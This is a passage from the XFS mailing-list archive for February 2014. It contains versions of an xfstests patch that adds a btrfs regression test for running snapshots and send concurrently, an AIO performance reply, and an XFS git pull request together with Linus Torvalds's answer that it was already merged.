Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +do_snapshots() +{ + i=2 + while [ 1 ] + do + $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ + $SCRATCH_MNT/snap_$i >> $seqres.full 2>&1 + let i=$i+1 + done +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + + +touch $SCRATCH_MNT/foo + +# get file with fragments by using backwards writes. +for i in `seq 10240 -1 1`; do + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io +done + +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 + +do_snapshots & +snapshots_pid=$! + +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 > /dev/null 2>&1 || _fail "btrfs send failed" + +kill -TERM $snapshots_pid 2> /dev/null + +echo "Silence is golden" +status=0 ; exit diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out new file mode 100644 index 0000000..4c8873c --- /dev/null +++ b/tests/btrfs/034.out @@ -0,0 +1,2 @@ +QA output created by 034 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index b29236c..f9f062f 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -36,3 +36,4 @@ 031 auto quick 032 auto quick 033 auto quick +034 auto quick -- 1.8.4 From wangshilong1991@gmail.com Thu Feb 6 08:52:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3FFAF7F54 for ; Thu, 6 Feb 2014 08:52:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 35EFA8F8073 for ; Thu, 6 Feb 2014 06:52:20 -0800 (PST) X-ASG-Debug-ID: 1391698338-04cbb00c2b1707c0001-NocioJ Received: from mail-pa0-f41.google.com (mail-pa0-f41.google.com [209.85.220.41]) by cuda.sgi.com with ESMTP id rfrMJxdcHbTxawQW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 06:52:19 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.41 Received: by mail-pa0-f41.google.com with SMTP id fa1so1770714pad.14 for ; Thu, 06 Feb 2014 06:52:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=pRzfNS5ZoXgTdgYGXYEpGkUuDI1tATnl5/ZnAvm7ZzA=; b=mf2MMpWjilPu+66lTnAjAJoWeODCv+1wc0X+6MP6IbBDXA4bmnplse7lCvdqw6uim4 fCMQVxoLEV9MGathAiiqPmDQRDJiACKvXZglxHXZ11wDsUiC0UkgLC6Gpp9FNSy1isap WwoOpnWpAVBalts16WnU8EhVtcierW6gnQUKefzZesh+HKO5IuhDQ23TbRI6jAxMPcPn 8QEnSKgFEKUffrt7pFrIdaJ/fojvyPKsWPfp6W0Qg8LKJk/0EvtsuzKEcbJrFLKz6Cne NCN9ZbXbVy9mRD3qGqtg3u0Y/e/Si2xJ2GqHSliX1NmYzNpPrAtnizVJv9G4K5zKES2F vucA== X-Barracuda-BBL-IP: nil X-Received: by 10.69.26.228 with SMTP id jb4mr12700230pbd.83.1391698338462; Thu, 06 Feb 2014 06:52:18 -0800 (PST) Received: from linux-b0ol.site ([223.65.190.181]) by mx.google.com with ESMTPSA id pe3sm4214841pbc.23.2014.02.06.06.52.15 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 06 Feb 2014 06:52:17 -0800 (PST) From: Wang Shilong X-Barracuda-Apparent-Source-IP: 223.65.190.181 To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, david@fromorbit.com Subject: [PATCH v2] Btrfs: add regression test for running snapshot and send concurrently Date: Thu, 6 Feb 2014 22:50:12 +0800 X-ASG-Orig-Subj: [PATCH v2] Btrfs: add regression test for running snapshot and send concurrently Message-Id: <1391698212-2358-1-git-send-email-wangshilong1991@gmail.com> X-Mailer: git-send-email 1.8.4 X-Barracuda-Connect: mail-pa0-f41.google.com[209.85.220.41] X-Barracuda-Start-Time: 1391698339 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144892 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Wang Shilong Btrfs would fail to send if snapshot run concurrently, this test is to make sure we have fixed the bug. Signed-off-by: Wang Shilong --- Changelog v1->v2: Avoid race codes and a code style update(Thanks to Dave Chinner's comments) --- tests/btrfs/034 | 83 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 86 insertions(+) create mode 100644 tests/btrfs/034 create mode 100644 tests/btrfs/034.out diff --git a/tests/btrfs/034 b/tests/btrfs/034 new file mode 100644 index 0000000..1fcd792 --- /dev/null +++ b/tests/btrfs/034 @@ -0,0 +1,83 @@ +#!/bin/bash +# FS QA Test No. btrfs/034 +# +# Regression test for running snapshots and send concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +do_snapshots() +{ + i=2 + while [ 1 ] + do + $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ + $SCRATCH_MNT/snap_$i >> $seqres.full 2>&1 + let i=$i+1 + done +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + + +touch $SCRATCH_MNT/foo + +# get file with fragments by using backwards writes. +for i in `seq 10240 -1 1`; do + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io +done + +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 + +do_snapshots & +snapshots_pid=$! + +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 > /dev/null 2>&1 || _fail "btrfs send failed" + +kill -TERM $snapshots_pid 2> /dev/null + +echo "Silence is golden" +status=0 ; exit diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out new file mode 100644 index 0000000..4c8873c --- /dev/null +++ b/tests/btrfs/034.out @@ -0,0 +1,2 @@ +QA output created by 034 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index b29236c..f9f062f 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -36,3 +36,4 @@ 031 auto quick 032 auto quick 033 auto quick +034 auto quick -- 1.8.4 From wangshilong1991@gmail.com Thu Feb 6 10:12:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E6B337F50 for ; Thu, 6 Feb 2014 10:12:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7DBA9AC001 for ; Thu, 6 Feb 2014 08:12:16 -0800 (PST) X-ASG-Debug-ID: 1391703135-04bdf0122018d520001-NocioJ Received: from mail-pb0-f45.google.com (mail-pb0-f45.google.com [209.85.160.45]) by cuda.sgi.com with ESMTP id VFlHCdVBEl0MiESP (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 08:12:15 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.45 Received: by mail-pb0-f45.google.com with SMTP id un15so1933613pbc.32 for ; Thu, 06 Feb 2014 08:12:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=x0gD4oH576flKEwTMEQnbyZc3eaRrPN/u6TIrYwp0MA=; b=rwrM92jMIYWsS+1ywEK/A4Z8NDPB5uLJOq4VmhWkPnB8+NTFpTZWrUH7TLYaCuJCF9 dFZ+lkftVBwF7Tih+mOviH/BlR+lBBTXkkrspIdj/GNP2zwCCFN41Utomc2EIqa4eu3r w3BXVZm1ZOndiuiUwFcIV2pB9ahh2dW2ESyKHC0MCeMFPhCEbRN1g9MivqPEz/oQzim0 4EitQt/f2CmBpqsqojXNKxOKzMFkQhMvEizpAYAwi3E1kIcTmzhdNYEdY/emvFO1yDpm QA4R3Nr31Tp8sVNKYNRnwUVmrdbS2TwK4DF56DodnFzbSPZANi6fFrqh6KJ/IVSzAuMh 2jSA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.155.7 with SMTP id vs7mr1531489pab.42.1391703134935; Thu, 06 Feb 2014 08:12:14 -0800 (PST) Received: from linux-b0ol.site ([223.65.190.181]) by mx.google.com with ESMTPSA id x5sm4811836pbw.26.2014.02.06.08.12.11 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 06 Feb 2014 08:12:14 -0800 (PST) From: Wang Shilong X-Barracuda-Apparent-Source-IP: 223.65.190.181 To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, david@fromorbit.com Subject: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently Date: Fri, 7 Feb 2014 00:10:08 +0800 X-ASG-Orig-Subj: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently Message-Id: <1391703008-2322-1-git-send-email-wangshilong1991@gmail.com> X-Mailer: git-send-email 1.8.4 X-Barracuda-Connect: mail-pb0-f45.google.com[209.85.160.45] X-Barracuda-Start-Time: 1391703135 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Wang Shilong Btrfs would fail to send if snapshot run concurrently, this test is to make sure we have fixed the bug. Signed-off-by: Wang Shilong --- Changelog v1->v2: Avoid race codes and a code style update(Thanks to Dave Chinner's comments) v2->v3: make sure we kill background snapshots on test failure --- tests/btrfs/034 | 83 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 86 insertions(+) create mode 100644 tests/btrfs/034 create mode 100644 tests/btrfs/034.out diff --git a/tests/btrfs/034 b/tests/btrfs/034 new file mode 100644 index 0000000..5152969 --- /dev/null +++ b/tests/btrfs/034 @@ -0,0 +1,83 @@ +#!/bin/bash +# FS QA Test No. btrfs/034 +# +# Regression test for running snapshots and send concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +do_snapshots() +{ + i=2 + while [ $i -lt 50 ] + do + $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ + $SCRATCH_MNT/snap_$i >> $seqres.full 2>&1 + let i=$i+1 + done +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + + +touch $SCRATCH_MNT/foo + +# get file with fragments by using backwards writes. +for i in `seq 10240 -1 1`; do + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io +done + +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 + +do_snapshots & +snapshots_pid=$! + +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 > /dev/null 2>&1 || echo "btrfs send failed" + +kill -TERM $snapshots_pid 2> /dev/null + +echo "Silence is golden" +status=0 ; exit diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out new file mode 100644 index 0000000..4c8873c --- /dev/null +++ b/tests/btrfs/034.out @@ -0,0 +1,2 @@ +QA output created by 034 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index b29236c..f9f062f 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -36,3 +36,4 @@ 031 auto quick 032 auto quick 033 auto quick +034 auto quick -- 1.8.4 From rathamahata@gmail.com Thu Feb 6 10:29:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 873AF7F50 for ; Thu, 6 Feb 2014 10:29:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6604930406B for ; Thu, 6 Feb 2014 08:29:34 -0800 (PST) X-ASG-Debug-ID: 1391704172-04cbb00c2a1757c0001-NocioJ Received: from mail-la0-f50.google.com (mail-la0-f50.google.com [209.85.215.50]) by cuda.sgi.com with ESMTP id ado76seZQSNcgg9T (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 08:29:33 -0800 (PST) X-Barracuda-Envelope-From: rathamahata@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.50] Received: by mail-la0-f50.google.com with SMTP id ec20so1636723lab.37 for ; Thu, 06 Feb 2014 08:29:31 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=/7VFGnzfQkzO9IS2qIbnUQLdgNU2q/9nQPNI8kz5YCs=; b=FaP01Njd8NqACvifEAAPJJ7xbSFjAoZsINQWxoZD3hAx+9dJumyhU+8Ic39BP+bakP 2y4a6TC/FatqKRcPlLARbKIe6fKKBtL9tgCdoVLXmYN8+oiTR8oiivc10zBuUozcSaoT pd6T/CjOyUCJTpSg++qUKinJ+fvu5MmVfPJxtSTtO8mFocoUR58JOaM4RytFzimLJbsv asQJ0Bcxs5+q8OP7usopOYtfC3JL7xgYfFdKpVpkg6TUj06EHF0ffogLU6OVsv8Jj3ja 8QVYR2ksx3IA+MRx/fw9dq/G2Q5NVRhKvSGHrjBKNxwo0cgPgM78f52AuGi/IqnLvugV b2iw== X-Received: by 10.112.173.105 with SMTP id bj9mr1589535lbc.57.1391704171745; Thu, 06 Feb 2014 08:29:31 -0800 (PST) MIME-Version: 1.0 Received: by 10.112.130.197 with HTTP; Thu, 6 Feb 2014 08:29:11 -0800 (PST) In-Reply-To: References: <20140204172402.380571745@bombadil.infradead.org> From: Sergey Meirovich Date: Thu, 6 Feb 2014 18:29:11 +0200 Message-ID: Subject: Re: [PATCH 0/3] support appending AIO writes To: Christoph Hellwig X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-la0-f50.google.com[209.85.215.50] X-Barracuda-Start-Time: 1391704172 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 5 February 2014 16:52, Sergey Meirovich wrote: > Hi Christoph, > > Thanks a lot! Applied your patches on top of 3.13.1 and they indeed > make a huge difference. > > > Append AIO > > chunk size w/o patches with patches > =================================================== > 4k 6.8834 Mb/sec 1762.15 IOps 31.542 Mb/sec 8074.75 IOps > 8k 15.321 Mb/sec 1961.12 IOps 62.873 Mb/sec 8047.71 IOps > 16k 28.257 Mb/sec 1808.46 IOps 139.35 Mb/sec 8918.45 IOps And with simple wrapper around io_submit() difference for 4 k is even more impressive than with sysbench: without patches: ===================== bandwidth (MiB/s): 11.89 IOps: 3044.58 with patches: ===================== bandwidth (MiB/s): 118.16 IOps: 30250.17 From bpm@sgi.com Thu Feb 6 11:32:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0FC797F51 for ; Thu, 6 Feb 2014 11:32:02 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9BAAE8F8050; Thu, 6 Feb 2014 09:31:58 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6A2A14266DC; Thu, 6 Feb 2014 11:31:58 -0600 (CST) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS fix for 3.14-rc2 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20140206173158.6A2A14266DC@whiskey.americas.sgi.com> Date: Thu, 6 Feb 2014 11:31:58 -0600 (CST) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull this xfs update for 3.14. This is to allow logical sector sized direct io on advanced format disks. Eric expressed a desire to get this fix in 3.14 because this bug affects some virtualization packages. Thanks, Ben The following changes since commit bf3964c188d686424ff7b69a45941851b9f437f0: Merge branch 'xfs-extent-list-locking-fixes' into for-next (2014-01-09 16:03:18 -0600) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.14-rc1-2 for you to fetch changes up to 7c71ee78031c248dca13fc94dea9a4cc217db6cf: xfs: allow logical-sector sized O_DIRECT (2014-01-24 11:55:42 -0600) ---------------------------------------------------------------- xfs: update #2 for v3.14-rc1 - allow logical sector sized direct io on 'advanced format' 4k/512 disk. ---------------------------------------------------------------- Eric Sandeen (3): xfs: clean up xfs_buftarg xfs: rename xfs_buftarg structure members xfs: allow logical-sector sized O_DIRECT fs/xfs/xfs_buf.c | 14 +++++++++----- fs/xfs/xfs_buf.h | 20 +++++++++++++++++--- fs/xfs/xfs_file.c | 7 +++++-- fs/xfs/xfs_ioctl.c | 2 +- 4 files changed, 32 insertions(+), 11 deletions(-) From linus971@gmail.com Thu Feb 6 15:34:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C7A5D7F51 for ; Thu, 6 Feb 2014 15:34:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4C9B7AC001 for ; Thu, 6 Feb 2014 13:34:56 -0800 (PST) X-ASG-Debug-ID: 1391722494-04bdf0121e19a770001-NocioJ Received: from mail-vb0-f44.google.com (mail-vb0-f44.google.com [209.85.212.44]) by cuda.sgi.com with ESMTP id T64i4Dd5TySMFtqL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 13:34:54 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.44 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.44] Received: by mail-vb0-f44.google.com with SMTP id f12so1909647vbg.17 for ; Thu, 06 Feb 2014 13:34:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.44] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=n2zP36K5LQ47oiM9y7BKEO/npmtGkaosY4y6C0TE2Mw=; b=BEespb6PVm3JBnnPUOvLGZ167SFkypcA6zOqtg6rCK7URQYwiZHg8RQw+WOmmLkapu VYinDnthkL8px7TVqCtcA5BzMXg5jzvq9kTR0eHTcnC+FWW8FovDx3Dv+Z/vSAePAV8Y s6S1qGgjgWk/Gy8ya2OixM0zC/HoWDMLwLfFOp8qb8jZykBaUU/+M/nxU/0aMaTRiXVV wr6A6ADq1Eb108tFMTfdfpGbBFluKvfolk3Z1CntuTyBDRh4lV8SGClXUtZm/itqiU53 zsiNYHO995RIbYJO64eYSzXhpkxXvtMFrO1B9kTqma6RnHv5rZ4QmEj7+uesgqt65LoR kPXw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=n2zP36K5LQ47oiM9y7BKEO/npmtGkaosY4y6C0TE2Mw=; b=WJefDmCTMNnflzeE9scdxauPRFoiBY/CiW6zq/hLqKaaGCItE5TPDdMN0phUQX/Bx1 WX7ZmepgkyZVH1WNkrspjakLJGT+kA/7B5/HcSmwvHEkZfbrowLHVpGVrnaqqagHXY21 xgX2hS6l5tEGZBzqaPp/X1LoajEsQXkPZT+dg= MIME-Version: 1.0 X-Received: by 10.220.110.69 with SMTP id m5mr89212vcp.55.1391722493709; Thu, 06 Feb 2014 13:34:53 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Thu, 6 Feb 2014 13:34:53 -0800 (PST) In-Reply-To: <20140206173158.6A2A14266DC@whiskey.americas.sgi.com> References: <20140206173158.6A2A14266DC@whiskey.americas.sgi.com> Date: Thu, 6 Feb 2014 13:34:53 -0800 X-Google-Sender-Auth: _pz5cr3UFWa_mWLpaJ4KlNoWxvU Message-ID: Subject: Re: [GIT PULL] XFS fix for 3.14-rc2 From: Linus Torvalds X-ASG-Orig-Subj: Re: [GIT PULL] XFS fix for 3.14-rc2 To: Ben Myers Cc: Andrew Morton , Linux Kernel Mailing List , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vb0-f44.google.com[209.85.212.44] X-Barracuda-Start-Time: 1391722494 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144899 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature I have no idea why you keep re-sending this. It got merged a week ago. See commit f1499382f114. Linus On Thu, Feb 6, 2014 at 9:31 AM, Ben Myers wrote: > Hi Linus, > > Please pull this xfs update for 3.14. This is to allow logical sector sized > direct io on advanced format disks. Eric expressed a desire to get this fix > in 3.14 because this bug affects some virtualization packages. > > Thanks, > Ben > > The following changes since commit bf3964c188d686424ff7b69a45941851b9f437f0: > > Merge branch 'xfs-extent-list-locking-fixes' into for-next (2014-01-09 16:03:18 -0600) > > are available in the git repository at: > > > git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.14-rc1-2 > > for you to fetch changes up to 7c71ee78031c248dca13fc94dea9a4cc217db6cf: > > xfs: allow logical-sector sized O_DIRECT (2014-01-24 11:55:42 -0600) > > ---------------------------------------------------------------- > xfs: update #2 for v3.14-rc1 > > - allow logical sector sized direct io on 'advanced format' 4k/512 disk. > > ---------------------------------------------------------------- > Eric Sandeen (3): > xfs: clean up xfs_buftarg > xfs: rename xfs_buftarg structure members > xfs: allow logical-sector sized O_DIRECT > > fs/xfs/xfs_buf.c | 14 +++++++++----- > fs/xfs/xfs_buf.h | 20 +++++++++++++++++--- > fs/xfs/xfs_file.c | 7 +++++-- > fs/xfs/xfs_ioctl.c | 2 